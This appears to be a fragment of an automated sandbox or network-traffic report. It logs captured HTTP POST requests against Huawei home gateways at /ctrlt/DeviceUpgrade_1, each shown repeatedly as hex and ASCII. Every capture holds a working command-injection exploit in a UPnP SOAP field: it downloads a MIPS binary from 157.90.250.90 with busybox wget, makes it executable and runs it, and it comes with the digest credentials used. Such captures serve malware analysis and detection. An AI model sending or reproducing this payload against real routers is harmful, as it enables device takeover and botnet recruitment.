55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
